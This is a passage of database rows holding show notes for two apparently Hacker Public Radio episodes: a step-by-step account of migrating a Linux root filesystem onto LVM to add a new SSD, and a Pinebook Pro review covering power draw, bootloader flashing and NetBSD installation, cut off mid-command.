(3727,'2022-11-15','Expanding your filesystem with LVM',1480,'Rho`n describes adding a new hard drive to his work computer and expanding its filesystem','<h1 id=\"synopis\">Synopis</h1>\n<p>I installed a new 1TB Crucial MX500 SSD into my work computer. While\nwe are mostly a Windows based business, as the IT guy I do get a bit of\ndiscretion when updating my own machine (i.e. I get to solve all the\nproblems I create). Last year, I decided to run the Pop!_OS distribution\nof Linux on my work computer and run Windows in a VM on it. Recently the\nWindows image had grown and was causing disk space notifications. This\nprompted the additional hard drive.</p>\n<p>During the initial installation of Pop!_OS, I remember deciding not\nto bother with installing Linux Volume Management (LVM). I have used it\nin the past, but I am still much more comfortable with the old style\ndevice mapping and mounting disk partitions to directories. I even\nrationalized that if I needed to add more space, I will just add a new\ndisk with one big partition and map it to the home directory.</p>\n<p>Now a year later I am adding a new HD and thinking, I really hate all\nthe space that is most likely going to be wasted once I move the Windows\nimage to the new drive. Ok, I guess I should figure out how to install\nLVM, and use it to manage the space on both drives. Luckily there a\nnumber of good blogs to be found on adding LVM to an existing system.\nThe following are the steps and commands I used to accomplish my\ngoal.</p>\n<h1 id=\"commands\">Commands</h1>\n<p>Most of the following commands need to be run as root. I decided to\nchange to root user instead of typing sudo before every command. The\nbasic steps to creating a single filesystem sharing the storage space\nbetween two physical disk partitions are:</p>\n<ol type=\"1\">\n<li>Let LVM know about the new disk.</li>\n<li>In my case, create a volume group and add the new disk and its full\nstorage space to it.</li>\n<li>Copy the disk partition with the root filesystem from the origin\ndisk to the new volume group</li>\n<li>Expand the root filesystem on the volume group to the full size of\nthe volume group.</li>\n<li>Update system configuration to boot with the root filesystem on the\nnew volume group.</li>\n<li>Let LVM know about the old root disk partition.</li>\n<li>Add the old root partition to the volume group.</li>\n<li>Expand the root filesystem on the volume group to include the new\nspace in the volume group.</li>\n</ol>\n<pre><code>root@work# pvcreate /dev/sdb\n\nroot@work# pvdisplay\n  &quot;/dev/sdb&quot; is a new physical volume of &quot;931.51 GiB&quot;\n  --- NEW Physical volume ---\n  PV Name               /dev/sdb\n  VG Name\n  PV Size               931.51 GiB\n  Allocatable           NO\n  PE Size               0\n  Total PE              0\n  Free PE               0\n  Allocated PE          0\n  PV UUID               wRBz38-xxxx-xxxx-xxxx-xxxx-xxxx-xxxxxx\n\nroot@work# vgcreate workvg /dev/dsb\n  No device found for /dev/dsb.\nroot@work# vgcreate workvg /dev/sdb\n  Volume group &quot;workvg&quot; successfully created\nroot@work# vgdisplay\n  --- Volume group ---\n  VG Name               workvg\n  System ID\n  Format                lvm2\n  Metadata Areas        1\n  Metadata Sequence No  1\n  VG Access             read/write\n  VG Status             resizable\n  MAX LV                0\n  Cur LV                0\n  Open LV               0\n  Max PV                0\n  Cur PV                1\n  Act PV                1\n  VG Size               931.51 GiB\n  PE Size               4.00 MiB\n  Total PE              238467\n  Alloc PE / Size       0 / 0\n  Free  PE / Size       238467 / 931.51 GiB\n  VG UUID               67DSwP-xxxx-xxxx-xxxx-xxxx-xxxx-xxxxxx\n\nroot@work# pvdisplay\n  --- Physical volume ---\n  PV Name               /dev/sdb\n  VG Name               workvg\n  PV Size               931.51 GiB / not usable 1.71 MiB\n  Allocatable           yes\n  PE Size               4.00 MiB\n  Total PE              238467\n  Free PE               238467\n  Allocated PE          0\n  PV UUID               wRBz38-xxxx-xxxx-xxxx-xxxx-xxxx-xxxxxx\n\nroot@work# lvcreate -n root -L 931.51 workvg\n  Rounding up size to full physical extent 932.00 MiB\n  Logical volume &quot;root&quot; created.\n\nroot@work# cat /dev/sda3 &gt;/dev/mapper/workvg-root\ncat: write error: No space left on device</code></pre>\n<p>Hmmm why can\'t it copy the smaller disk onto a larger one?</p>\n<pre><code>root@work# pvdisplay\n  --- Physical volume ---\n  PV Name               /dev/sdb\n  VG Name               workvg\n  PV Size               931.51 GiB / not usable 1.71 MiB\n  Allocatable           yes\n  PE Size               4.00 MiB\n  Total PE              238467\n  Free PE               238234\n  Allocated PE          233\n  PV UUID               wRBz38-xxxx-xxxx-xxxx-xxxx-xxxx-xxxxxx\n\nroot@work# lvdisplay\n  --- Logical volume ---\n  LV Path                /dev/workvg/root\n  LV Name                root\n  VG Name                workvg\n  LV UUID                srXpUd-xxxx-xxxx-xxxx-xxxx-xxxx-xxxxxx\n  LV Write Access        read/write\n  LV Creation host, time work.example.com, 2022-10-18 08:46:34 -0400\n  LV Status              available\n  # open                 0\n  LV Size                932.00 MiB\n  Current LE             233\n  Segments               1\n  Allocation             inherit\n  Read ahead sectors     auto\n  - currently set to     256\n  Block device           253:1</code></pre>\n<p>Whoops, the default unit for the lvcreate is MB, and I forgot to add\nG to my size. A good reason to always include units in whatever you do\n:) Also, pay attention to any reports printed at the end of a successful\ncommand. When I scrolled back I realized it told me the size it\ncreated.</p>\n<pre><code>root@work# lvextend -l +100%FREE /dev/workvg/root\n  Size of logical volume workvg/root changed from 932.00 MiB (233 extents) to 931.51 GiB (238467 extents).\n  Logical volume workvg/root successfully resized.\n\nroot@work# lvdisplay\n  --- Logical volume ---\n  LV Path                /dev/workvg/root\n  LV Name                root\n  VG Name                workvg\n  LV UUID                srXpUd-xxxx-xxxx-xxxx-xxxx-xxxx-xxxxxx\n  LV Write Access        read/write\n  LV Creation host, time work.example.com, 2022-10-18 08:46:34 -0400\n  LV Status              available\n  # open                 0\n  LV Size                931.51 GiB\n  Current LE             238467\n  Segments               1\n  Allocation             inherit\n  Read ahead sectors     auto\n  - currently set to     256\n  Block device           253:1\n\nroot@work# cat /dev/sda3 &gt;/dev/mapper/workvg-root\n\nroot@work# mkdir /media/new-root\n\nroot@work# mount /dev/mapper/workvg-root /media/new-root\n\nroot@work# df -h\nFilesystem               Size  Used Avail Use% Mounted on\n/dev/sda3                450G  421G  5.6G  99% /\n/dev/sda1                497M  373M  125M  76% /boot/efi\n/dev/sda2                4.0G  3.4G  692M  84% /recovery\n/dev/mapper/workvg-root  450G  421G  5.7G  99% /media/new-root</code></pre>\n<p>Ok, the LV volume is resized but the filesystem now needs to expanded\nto use the new disk space</p>\n<pre><code>root@work# umount /media/new-root/\n\nroot@work# resize2fs /dev/mapper/workvg-root\n\nresize2fs 1.46.5 (30-Dec-2021)\nPlease run &#39;e2fsck -f /dev/mapper/workvg-root&#39; first.\n\nroot@work# e2fsck -f /dev/mapper/workvg-root\ne2fsck 1.46.5 (30-Dec-2021)\nPass 1: Checking inodes, blocks, and sizes\nInode 7210086 extent tree (at level 2) could be narrower.  Optimize&lt;y&gt;? yes\nPass 1E: Optimizing extent trees\nPass 2: Checking directory structure\nPass 3: Checking directory connectivity\nPass 4: Checking reference counts\nPass 5: Checking group summary information\n\n/dev/mapper/workvg-root: ***** FILE SYSTEM WAS MODIFIED *****\n/dev/mapper/workvg-root: 827287/29974528 files (1.2% non-contiguous), 112395524/119870981 blocks\n\nroot@work# resize2fs /dev/mapper/workvg-root\nresize2fs 1.46.5 (30-Dec-2021)\nResizing the filesystem on /dev/mapper/workvg-root to 244190208 (4k) blocks.\nThe filesystem on /dev/mapper/workvg-root is now 244190208 (4k) blocks long.\n\nroot@work# mount /dev/mapper/workvg-root /media/new-root\n\nroot@work# df -h\nFilesystem               Size  Used Avail Use% Mounted on\n/dev/sda3                450G  421G  5.5G  99% /\n/dev/mapper/workvg-root  916G  421G  449G  49% /media/new-root</code></pre>\n<p>Much better. Now we need to get the computer to boot using LVM and\nthe new drive. Need to make sure <code>/etc/fstab</code> is updated to\npoint to the new root filesystem.</p>\n<p>Make some in-memory filesystems available under the new root:</p>\n<pre><code>root@work# mount --rbind /dev /media/new-root/dev\nroot@work# mount --bind /proc /media/new-root/proc\nroot@work# mount --bind /sys /media/new-root/sys\nroot@work# mount --bind /run /media/new-root/run\n\nroot@work# chroot /media/new-root\n\nroot@work# cat /etc/fstab\n# /etc/fstab: static file system information.\n#\n# Use &#39;blkid&#39; to print the universally unique identifier for a\n# device; this may be used with UUID= as a more robust way to name devices\n# that works even if disks are added and removed. See fstab(5).\n#\n# &lt;file system&gt;  &lt;mount point&gt;  &lt;type&gt;  &lt;options&gt;  &lt;dump&gt;  &lt;pass&gt;\nPARTUUID=949a09f0-xxxx-xxxx-xxxx-xxxxxxxxxxxx  /boot/efi  vfat  umask=0077  0  0\nPARTUUID=bbcc2068-xxxx-xxxx-xxxx-xxxxxxxxxxxx  /recovery  vfat  umask=0077  0  0\nUUID=9f1f68bb-xxxx-xxxx-xxxx-xxxxxxxxxxxx  /  ext4  noatime,errors=remount-ro  0  0\n/dev/mapper/cryptswap  none  swap  defaults  0  0\n\nroot@work# vi /etc/fstab\n\nroot@work# cat /etc/fstab\n# /etc/fstab: static file system information.\n#\n# Use &#39;blkid&#39; to print the universally unique identifier for a\n# device; this may be used with UUID= as a more robust way to name devices\n# that works even if disks are added and removed. See fstab(5).\n#\n# &lt;file system&gt;  &lt;mount point&gt;  &lt;type&gt;  &lt;options&gt;  &lt;dump&gt;  &lt;pass&gt;\nPARTUUID=949a09f0-xxxx-xxxx-xxxx-xxxxxxxxxxxx  /boot/efi  vfat  umask=0077  0  0\nPARTUUID=bbcc2068-xxxx-xxxx-xxxx-xxxxxxxxxxxx  /recovery  vfat  umask=0077  0  0\n/dev/mapper/workvg-root  /  ext4  noatime,errors=remount-ro  0  0\n/dev/mapper/cryptswap  none  swap  defaults  0  0\n\nroot@it05:/media/new-root/etc/initramfs-tools# lsinitramfs /boot/initrd.img-$(uname -r) | grep lvm\netc/lvm\netc/lvm/lvm.conf\netc/lvm/lvmlocal.conf\netc/lvm/profile\netc/lvm/profile/cache-mq.profile\netc/lvm/profile/cache-smq.profile\netc/lvm/profile/command_profile_template.profile\netc/lvm/profile/lvmdbusd.profile\netc/lvm/profile/metadata_profile_template.profile\netc/lvm/profile/thin-generic.profile\netc/lvm/profile/thin-performance.profile\netc/lvm/profile/vdo-small.profile\nscripts/init-bottom/lvm2\nscripts/local-block/lvm2\nscripts/local-top/lvm-workaround\nscripts/local-top/lvm2\nusr/lib/udev/rules.d/56-lvm.rules\nusr/lib/udev/rules.d/69-lvm-metad.rules\nusr/sbin/lvm\n\nroot@it05:/# update-initramfs -u\nupdate-initramfs: Generating /boot/initrd.img-5.19.0-76051900-generic\ncryptsetup: WARNING: Resume target cryptswap uses a key file\nkernelstub.Config    : INFO     Looking for configuration...\nkernelstub.Drive     : ERROR    Could not find a block device for the a partition. This is a critical error and we cannot continue.\nTraceback (most recent call last):\n  File &quot;/usr/lib/python3/dist-packages/kernelstub/drive.py&quot;, line 56, in __init__\n    self.esp_fs = self.get_part_dev(self.esp_path)\n  File &quot;/usr/lib/python3/dist-packages/kernelstub/drive.py&quot;, line 94, in get_part_dev\n    raise NoBlockDevError(&#39;Couldn\\&#39;t find the block device for %s&#39; % path)\nkernelstub.drive.NoBlockDevError: Couldn&#39;t find the block device for /boot/efi\nrun-parts: /etc/initramfs/post-update.d//zz-kernelstub exited with return code 174\n\nroot@it05:/# lsblk -f\nNAME FSTYPE FSVER LABEL UUID                                   FSAVAIL FSUSE% MOUNTPOINTS\nsda\n&#x251C;&#x2500;sda1\n&#x2502;    vfat   FAT32       D499-28CF\n&#x251C;&#x2500;sda2\n&#x2502;    vfat   FAT32       D499-2B97\n&#x251C;&#x2500;sda3\n&#x2502;    ext4   1.0         9f1f68bb-xxxx-xxxx-xxxx-xxxxxxxxxxxx\n&#x2514;&#x2500;sda4\n     swap   1           1758e7a0-xxxx-xxxx-xxxx-xxxxxxxxxxxx\n  &#x2514;&#x2500;cryptswap\n     swap   1     cryptswap\n                        e874c9cc-xxxx-xxxx-xxxx-xxxxxxxxxxxx                  [SWAP]\nsdb  LVM2_m LVM2        wRBz38-xxxx-xxxx-xxxx-xxxx-xxxx-xxxxxx\n&#x2514;&#x2500;workvg-root\n     ext4   1.0         9f1f68bb-xxxx-xxxx-xxxx-xxxxxxxxxxxx    448.6G    46% /\n\nroot@it05:/# df -h\nFilesystem               Size  Used Avail Use% Mounted on\n/dev/mapper/workvg-root  916G  421G  449G  49% /\ntmpfs                    7.8G     0  7.8G   0% /dev/shm\ntmpfs                    1.6G  2.4M  1.6G   1% /run\n\nroot@it05:/# mount /dev/sda1 /boot/efi\n\nroot@it05:/# update-initramfs -u\n\nupdate-initramfs: Generating /boot/initrd.img-5.19.0-76051900-generic\ncryptsetup: WARNING: Resume target cryptswap uses a key file\nkernelstub.Config    : INFO     Looking for configuration...\nkernelstub           : INFO     System information:\n\n    OS:..................Pop!_OS 22.04\n    Root partition:....../dev/dm-1\n    Root FS UUID:........9f1f68bb-xxxx-xxxx-xxxx-xxxxxxxxxxxx\n    ESP Path:............/boot/efi\n    ESP Partition:......./dev/sda1\n    ESP Partition #:.....1\n    NVRAM entry #:.......-1\n    Boot Variable #:.....0000\n    Kernel Boot Options:.quiet loglevel=0 systemd.show_status=false splash\n    Kernel Image Path:.../boot/vmlinuz-5.19.0-76051900-generic\n    Initrd Image Path:.../boot/initrd.img-5.19.0-76051900-generic\n    Force-overwrite:.....False\n\nkernelstub.Installer : INFO     Copying Kernel into ESP\nkernelstub.Installer : INFO     Copying initrd.img into ESP\nkernelstub.Installer : INFO     Setting up loader.conf configuration\nkernelstub.Installer : INFO     Making entry file for Pop!_OS\nkernelstub.Installer : INFO     Backing up old kernel\nkernelstub.Installer : INFO     Making entry file for Pop!_OS</code></pre>\n<p>ok, moment of truth, can i reboot into the new root filesystem</p>\n<pre><code>root@it05:/# shutdown -r now\nRunning in chroot, ignoring request.\n\nroot@it05:/# exit\nroot@work# shutdown -r now</code></pre>\n<p>Whoot! Success. Booted right back up, and can verify running from new\nLV</p>\n<pre><code>rhorning@icon-n.com@it05:~$ df -h\nFilesystem               Size  Used Avail Use% Mounted on\n/dev/mapper/workvg-root  916G  421G  449G  49% /\n/dev/sda1                497M  373M  125M  76% /boot/efi</code></pre>\n<p>Next step, add the original root partition (/dev/sda3) to the volume\ngroup so there is 1.5Gb available to the filesystem</p>\n<pre><code>root@work# pvcreate /dev/sda3\nWARNING: ext4 signature detected on /dev/sda3 at offset 1080. Wipe it? [y/n]: y\n  Wiping ext4 signature on /dev/sda3.\n  Physical volume &quot;/dev/sda3&quot; successfully created.\n\nroot@work# vgextend workvg /dev/sda3\n  Volume group &quot;workvg&quot; successfully extended\n\nroot@work# vgdisplay\n  --- Volume group ---\n  VG Name               workvg\n  System ID\n  Format                lvm2\n  Metadata Areas        2\n  Metadata Sequence No  4\n  VG Access             read/write\n  VG Status             resizable\n  MAX LV                0\n  Cur LV                1\n  Open LV               1\n  Max PV                0\n  Cur PV                2\n  Act PV                2\n  VG Size               &lt;1.36 TiB\n  PE Size               4.00 MiB\n  Total PE              355528\n  Alloc PE / Size       238467 / 931.51 GiB\n  Free  PE / Size       117061 / &lt;457.27 GiB\n  VG UUID               67DSwP-xxxx-xxxx-xxxx-xxxx-xxxx-xxxxxx\n\nroot@work# lvdisplay\n  --- Logical volume ---\n  LV Path                /dev/workvg/root\n  LV Name                root\n  VG Name                workvg\n  LV UUID                srXpUd-xxxx-xxxx-xxxx-xxxx-xxxx-xxxxxx\n  LV Write Access        read/write\n  LV Creation host, time work.example.com, 2022-10-18 08:46:34 -0400\n  LV Status              available\n  # open                 1\n  LV Size                931.51 GiB\n  Current LE             238467\n  Segments               1\n  Allocation             inherit\n  Read ahead sectors     auto\n  - currently set to     256\n  Block device           253:0\n\nroot@work# lvextend -l +100%FREE /dev/workvg/root\n  Size of logical volume workvg/root changed from 931.51 GiB (238467 extents) to &lt;1.36 TiB (355528 extents).\n  Logical volume workvg/root successfully resized.\n\nroot@work# lvdisplay\n  --- Logical volume ---\n  LV Path                /dev/workvg/root\n  LV Name                root\n  VG Name                workvg\n  LV UUID                srXpUd-xxxx-xxxx-xxxx-xxxx-xxxx-xxxxxx\n  LV Write Access        read/write\n  LV Creation host, time work.example.com, 2022-10-18 08:46:34 -0400\n  LV Status              available\n  # open                 1\n  LV Size                &lt;1.36 TiB\n  Current LE             355528\n  Segments               2\n  Allocation             inherit\n  Read ahead sectors     auto\n  - currently set to     256\n  Block device           253:0\n\nroot@work# df -h\nFilesystem               Size  Used Avail Use% Mounted on\ntmpfs                    1.6G  2.4M  1.6G   1% /run\n/dev/mapper/workvg-root  916G  421G  449G  49% /\ntmpfs                    7.8G     0  7.8G   0% /dev/shm\ntmpfs                    5.0M     0  5.0M   0% /run/lock\n/dev/sda1                497M  373M  125M  76% /boot/efi\n/dev/sda2                4.0G  3.4G  692M  84% /recovery\ntmpfs                    7.8G     0  7.8G   0% /run/qemu\ntmpfs                    1.6G  1.7M  1.6G   1% /run/user/1202401106\n\nroot@work# resize2fs /dev/mapper/workvg-root\nresize2fs 1.46.5 (30-Dec-2021)\nFilesystem at /dev/mapper/workvg-root is mounted on /; on-line resizing required\nold_desc_blocks = 117, new_desc_blocks = 174\nThe filesystem on /dev/mapper/workvg-root is now 364060672 (4k) blocks long.\n\nroot@work# df -h\nFilesystem               Size  Used Avail Use% Mounted on\ntmpfs                    1.6G  2.4M  1.6G   1% /run\n/dev/mapper/workvg-root  1.4T  421G  881G  33% /\ntmpfs                    7.8G     0  7.8G   0% /dev/shm\ntmpfs                    5.0M     0  5.0M   0% /run/lock\n/dev/sda1                497M  373M  125M  76% /boot/efi\n/dev/sda2                4.0G  3.4G  692M  84% /recovery\ntmpfs                    7.8G     0  7.8G   0% /run/qemu\ntmpfs                    1.6G  1.7M  1.6G   1% /run/user/1202401106\n</code></pre>\n<h1 id=\"references\">References</h1>\n<ul>\n<li><a\nhref=\"https://unix.stackexchange.com/questions/213906/move-data-from-regular-partition-to-lvm\">Move\ndata from regular partition to lvm</a>; Viewed on 2022-10-18</li>\n<li><a\nhref=\"https://www.learnitguide.net/2016/06/how-to-create-lvm-partition-in-linux.html\">How\nto Create LVM Partition in Linux &#x2013; LVM Tutorial</a>; Viewed on\n2022-10-18</li>\n<li><a href=\"https://access.redhat.com/solutions/44089\">\'lvextend -l\n100%FREE\' resizing to the number of free extents rather than adding them\nto the current size in RHEL</a>; Viewed on 2022-10-18</li>\n<li><a\nhref=\"https://xan.manning.io/2017/05/29/best-practice-for-mounting-an-lvm-logical-volume-with-etc-fstab.html\">Best\nPractice for Mounting an LVM Logical Volume with /etc/fstab</a>; Viewed\non 2022-10-18</li>\n<li><a\nhref=\"https://www.reddit.com/r/pop_os/comments/aowtu1/cant_update_kernel_and_initramfs/\">Can\'t\nupdate kernel and initramfs</a>; Viewed on 2022-1018</li>\n<li><a\nhref=\"https://www.amazon.com/Crucial-MX500-NAND-SATA-Internal/dp/B078211KBB/ref=sr_1_1_sspa?gclid=Cj0KCQjwnP-ZBhDiARIsAH3FSRcoW5tSEHvVPvu-kNm_QVTIdnHsLpI8P0GJ8RufYNcbOak2Ox9wCwAaApZJEALw_wcB&amp;hvadid=410127070457&amp;hvdev=c&amp;hvlocphy=9007894&amp;hvnetw=g&amp;hvqmt=b&amp;hvrand=17548218152440937646&amp;hvtargid=kwd-76948762643&amp;hydadcr=18005_11412178&amp;keywords=ssd%2Bcrucial%2B1tb&amp;qid=1665152899&amp;qu=eyJxc2MiOiIyLjc2IiwicXNhIjoiMi4zNyIsInFzcCI6IjIuMDAifQ%3D%3D&amp;sr=8-1-spons&amp;th=1\">Crucial\nMX500 1TB 3D NAND SATA 2.5-inch</a>; Viewed on 2022-10-18</li>\n<li><a\nhref=\"https://www.amazon.com/Corsair-Dual-Mounting-Bracket-CSSD-BRKT2/dp/B016498CK0/ref=pd_day0fbt_sccl_1/134-2954782-4788331?pd_rd_w=RSAip&amp;content-id=amzn1.sym.9b14949a-xxxx-xxxx-xxxx-xxxxxxxxxxxx&amp;pf_rd_p=9b14949a-xxxx-xxxx-xxxx-xxxxxxxxxxxx&amp;pf_rd_r=SPJE0DTTC2DFH8PP17ZH&amp;pd_rd_wg=zktxr&amp;pd_rd_r=ca3b049f-xxxx-xxxx-xxxx-xxxxxxxxxxxx&amp;pd_rd_i=B016498CK0&amp;psc=1\">Corsair\nDual SSD Mounting Bracket (3.5&#x201D; Internal Drive Bay to 2.5\", Easy\nInstallation) </a>; Viewed on 2022-10-18</li>\n</ul>\n',293,0,0,'CC-BY-SA','LVM, Linux Volume Management, hard drive, SSD',0,0,1),
(3728,'2022-11-16','Pinebook Pro review',2917,'I talk about the Pinebook Pro (and bricking various other arm devices)','<h1 id=\"why-the-pbp\">Why the PBP?</h1>\n<p>Lately I\'ve been thinking a lot about power consumption when it comes\nto computing. Intuitively, I know that arm devices pull significantly\nless power than amd64 machines but I\'ve never really tested this in the\nreal world. So, some preliminary power consumption stats:</p>\n<ul>\n<li>big amd64 laptops (thinkpad x220 and t490) pull at most 65\nwatts</li>\n<li>small arm SOCs typically pull at most 15 watts</li>\n<li>most android phones pull at most 18 watts</li>\n<li>Pentium 4 pulls at most 250 watts</li>\n</ul>\n<p>These numbers are fairly easy to find: just look at the power supply\nfor a MAXIMUM OUTPUT value or something similar. This is the point at\nwhich the power supply fails so we can safely assume this is the maximum\npower draw for any given computer. Of course, this is DC output and not\nAC output and anyone who knows anything about electricity knows that\nconverting AC to DC is expensive but these values are useful as a\ngeneral estimate. <a href=\"https://0x19.org/posts/2022-01-08.php\">I\nwrote something similar about computer power consumption some time\nago</a></p>\n<p>My goal in all of this was to find a self contained computer that\nruns UNIX, doesn\'t take much power, isn\'t a consumption rectangle\n(smartphone), and can be charged from both AC with a rectifier and\nstored DC without an inverter. Charging from existing stored power was\nprobably the most novel consideration. Everything else is a given.</p>\n<p>A few obvious answers come to mind:</p>\n<ul>\n<li><a\nhref=\"https://www.raspberrypi.com/products/raspberry-pi-4-model-b/\">Raspberry\nPi 4</a> is not self contained and using a pitop in public is a good way\nto get the bomb squad called on you</li>\n<li><a href=\"https://beagleboard.org/black\">beaglebone black</a> is good\ntoo but neither self contained nor popular enough for wide OS\nsupport</li>\n<li><a\nhref=\"https://pine64.com/product/14%e2%80%b3-pinebook-pro-linux-laptop-ansi-us-keyboard/\">Pinebook\nPro</a> is self contained and is supported by some of the operating\nsystems I\'d like to run</li>\n</ul>\n<p>The PBP is an obvious choice. It\'s an open hardware ARM laptop that\ncan be charged via a barrel cable (AC-&gt;DC) or via USB-C. Charging\nfrom USB-C is a very useful feature because it means I can easily choose\nbetween charging from the mains where efficiency loss is acceptable and\ncharging from a DC source where efficiency loss is unacceptable.</p>\n<p>The actual use case is \"what computer can I run off of a old car\nbattery or the alternator in my car without burning power with an\ninverter?\". I\'ll revisit this use case in a later section.</p>\n<hr />\n<h1 id=\"initial-notes\">Initial notes</h1>\n<p>I took these notes immediately upon opening the PBP. They remain\nunedited because I want to be honest on the first impressions.</p>\n<h2 id=\"shipping\">shipping</h2>\n<p>I was worried about DHL dropping my package out of a plane. Or\nleaving it out in the rain. Or having one of the employees use it as a\nsoccer ball. Or having the thing get stuck in customs. It ended up\narriving safely and was packaged well. Two boxes within a padded\nenvelope within another envelope. Surprising for DHL.</p>\n<h2 id=\"hardware-impressions\">hardware impressions</h2>\n<ul>\n<li>Touchpad sucks and trackpad scrolling sucks (it\'s probably just\nKDE). Installing synaptics drivers allegedly fix this problem.</li>\n<li>keyboard is comfortable, clickly, full sized despite being a\nchicklet keyboard. I don\'t like that the <code>&lt;ctl&gt;</code> and\n<code>&lt;fn&gt;</code> keys are backwards when compared to a thinkpad.\nI really like the thinkpad keyboard layout.</li>\n<li>Shift+enter seems to type the <code>M</code> character. My muscle\nmemory for key chording is now broken. This appears to be a fundamental\ndesign flaw with KDE.</li>\n<li>Passively cooled, gets a bit warm.</li>\n<li>display is sharp (IPS) and almost too high resolution for my eyes\n(1920x1080 instead of 1366x768). I can fix this in software.</li>\n<li>enabling/disabling mic/wifi/camera through the keyboard is confusing\nand (seemingly) does not perform the \"kill switch\" via hotplugging like\nthe Thinkpad X220\'s wifi kill switch.</li>\n<li>Charger comes with both US and EU prongs.</li>\n</ul>\n<h2 id=\"software-impressions\">software impressions</h2>\n<ul>\n<li>it\'s manjaro :(</li>\n<li>it\'s KDE :(</li>\n<li>it comes with mpv :)</li>\n<li>bluez instead of bluetoothd :(</li>\n<li>firewalld instead of UFW &lt;3</li>\n<li>no vim, no vi, and no ed on the standard installation so this is\ncompletely useless and unusable.</li>\n<li>firefox config uses google as the default search engine</li>\n<li>It didn\'t come with RHEL7 or so obviously I hate it</li>\n<li>It didn\'t come with BSD so obviously I hate it</li>\n<li>Terminal color scheme is one of the worst I\'ve seen in my life</li>\n</ul>\n<h1 id=\"secondary-notes\">Secondary notes</h1>\n<p>From my next available free day, largely unedited:</p>\n<h2 id=\"software\">software</h2>\n<ul>\n<li>I still don\'t like manjaro. I still don\'t like pacman.</li>\n<li>On the default manjaro installation, the\n<code>manjaro-arm-flasher</code> tool seems to create bootable SD cards\n(nice for the insurance policy)</li>\n<li>when updating (lots of network IO throughput), the wireless card\nseems to stutter.</li>\n<li>I Can\'t boot another OS using the stock firmware. I need to flash\nthe \"SPI flash\" (fancy ARM guy terminology for nvram) with newer\nversions of u-boot that are more hacker friendly (ie the ones that don\'t\nrequire a serial display).</li>\n</ul>\n<h2 id=\"hardware\">hardware</h2>\n<ul>\n<li>The emmc is toggable with a DIP switch on the mainboard. <a\nhref=\"https://wiki.pine64.org/wiki/Pinebook_Pro#Internal_Layout\">My\nmainboard looks slightly different than the images on the wiki</a> but\nall of the components are generally in the same location</li>\n</ul>\n<hr />\n<h1 id=\"technical-stuff\">Technical stuff</h1>\n<h2 id=\"upgrading-the-u-boot-on-storage-devices\">upgrading the u-boot on\nstorage devices</h2>\n<p>It seems that the PBP has three possible locations for the\nbootloader: nvram, EMMC, and sd card. The boot process is something\nlike:</p>\n<ol type=\"1\">\n<li>load bootloader from nvram</li>\n<li>query storage device</li>\n<li>if the storage device has it\'s own bootloader, chainload that</li>\n<li>otherwise, use the bootloader from nvram</li>\n</ol>\n<p>It\'s u-boot soup but upgrading the bootloader on the storage device\nseems to marginally increase stability.</p>\n<pre><code>$ sudo pacman -Syuu\n$ sudo pacman -S uboot-pinebookpro\n$ sudo dd if=/boot/idbloader.img of=/dev/mmcblk2 seek=64 conv=notrunc,fsync\n$ sudo dd if=/boot/u-boot.itb of=/dev/mmcblk2 seek=16384 conv=notrunc,fsync\n$ sudo sync\n$ sudo reboot</code></pre>\n<h1 id=\"flashing-u-boot-externally-and-buying-more-stuff\">Flashing\nu-boot externally and buying more stuff</h1>\n<p><a href=\"https://nullr0ute.com/2021/05/fedora-on-the-pinebook-pro/\">I\nfound some fedora specific instructions that are actually just PBP\nspecific</a> Using the u-boot and idb from fedora, The screen flashes\nwith garbled nonsense when loading a kernel but at least I can see the\noutput from u-boot. Different kernels show different garbled nonsense so\nit\'s a bit of fun. The keyboard does not work in u-boot. The system will\nnow also boot from the SD card (although it seems the system will always\nboot from EMMC once before allowing booting from the sd card).</p>\n<p>Armbian and NetBSD seem to boot just fine from the sd card. I\'m\nkeeping a sd card with the stock Manjaro image as an insurance\npolicy.</p>\n<p>Because the keyboard does not work in u-boot, I ordered the pine64\nserial over 3.5mm audio jack cable so that I can (hopefully) fix this in\nthe future. The system still boots automatically but I\'d really like to\npass options to my bootloader to do things like enter single user mode,\nrun an fsck at boot time, boot various versions of kernels, etc.</p>\n<hr />\n<h1 id=\"os-support\">OS Support</h1>\n<p>I will not use Arch. You cannot force me. You cannot coerce me. You\ncannot even bribe me. I will use anything other than Arch as long as\nit\'s not ubuntu.</p>\n<p>Sadly, BSD is not \"super easy\" on the PBP like most other SBCs but\nI\'ve never stepped down from a challenge. Even sadder, no Plan 9 ported\nto PBP either. Running a \"distro based on a distro based on a distro\nbased on arch\" is the antithesis of my computing philosophy. Luckily\nenough, there is a big <a\nhref=\"https://wiki.pine64.org/wiki/Pinebook_Pro_Software_Release\">list\nof operating systems that run on the PBP</a>. Most of these are distros\nbased on distros based on distros. OpenBSD instantly appeals to me but\nthere is no support for graphical TTYs as of yet (installation must be\nperformed over serial) so this is a non-starter. NetBSD also appeals to\nme but no wifi in 9.x, only in -CURRENT. A wide selection of actually\nusable software, take your pick.</p>\n<p><a\nhref=\"https://github.com/manjaro-arm/pbpro-images/releases/\">Official\nManjaro images with a variety of DEs</a> also exist for when you lost\n(or corrupted) your insurance policy SD card.</p>\n<p><img src=\"http://hackerpublicradio.org/eps/hpr3728/hpr3728/boot-loops.jpg\"\nalt=\"android boot loops, my experience with booting Manjaro from an SD card\" /></p>\n<hr />\n<h1 id=\"netbsd\">NetBSD</h1>\n<p>NetBSD seems to work just fine but 9.x doesn\'t yet ship the broadcom\ndrivers. These drivers are present in the -CURRENT branch but the issue\nwith -CURRENT is that it\'s not entirely stable. Additionally, the\nbootloader does not come with the system.</p>\n<p><a\nhref=\"http://cdn.netbsd.org/pub/pkgsrc/current/pkgsrc/sysutils/u-boot-pinebook-pro/index.html\">u-boot\nfrom pkgsrc</a></p>\n<p><a\nhref=\"https://cdn.netbsd.org/pub/NetBSD/NetBSD-9.3/evbarm-aarch64/binary/gzimg/arm64.img.gz\">aarch64\nbuild of NetBSD</a></p>\n<p>To get around the no wifi issue, a dongle is required. I use an\n<code>Atheros AR9271</code> USB-&gt;WiFi dongle. To get around no RJ45\nport, I use a USB-&gt;RJ45 adapter. I have an <code>ASIX ax88772</code>\ndongle (UGREEN branded but I\'m not sure that matters). Both of these\ndongles seem to work with every single operating system and hardware\nconfiguration I\'ve tried them with.</p>\n<p>Arm is strange, so we must boot from an SD card (running any OS, in\nmy case NetBSD) in order to burn an image to the internal storage.</p>\n<p>From a separate machine, the options passed to <code>dd</code>\n<em>are</em> important.</p>\n<pre><code>$ wget https://cdn.netbsd.org/pub/NetBSD/NetBSD-9.3/evbarm-aarch64/binary/gzimg/arm64.img.gz\n$ wget 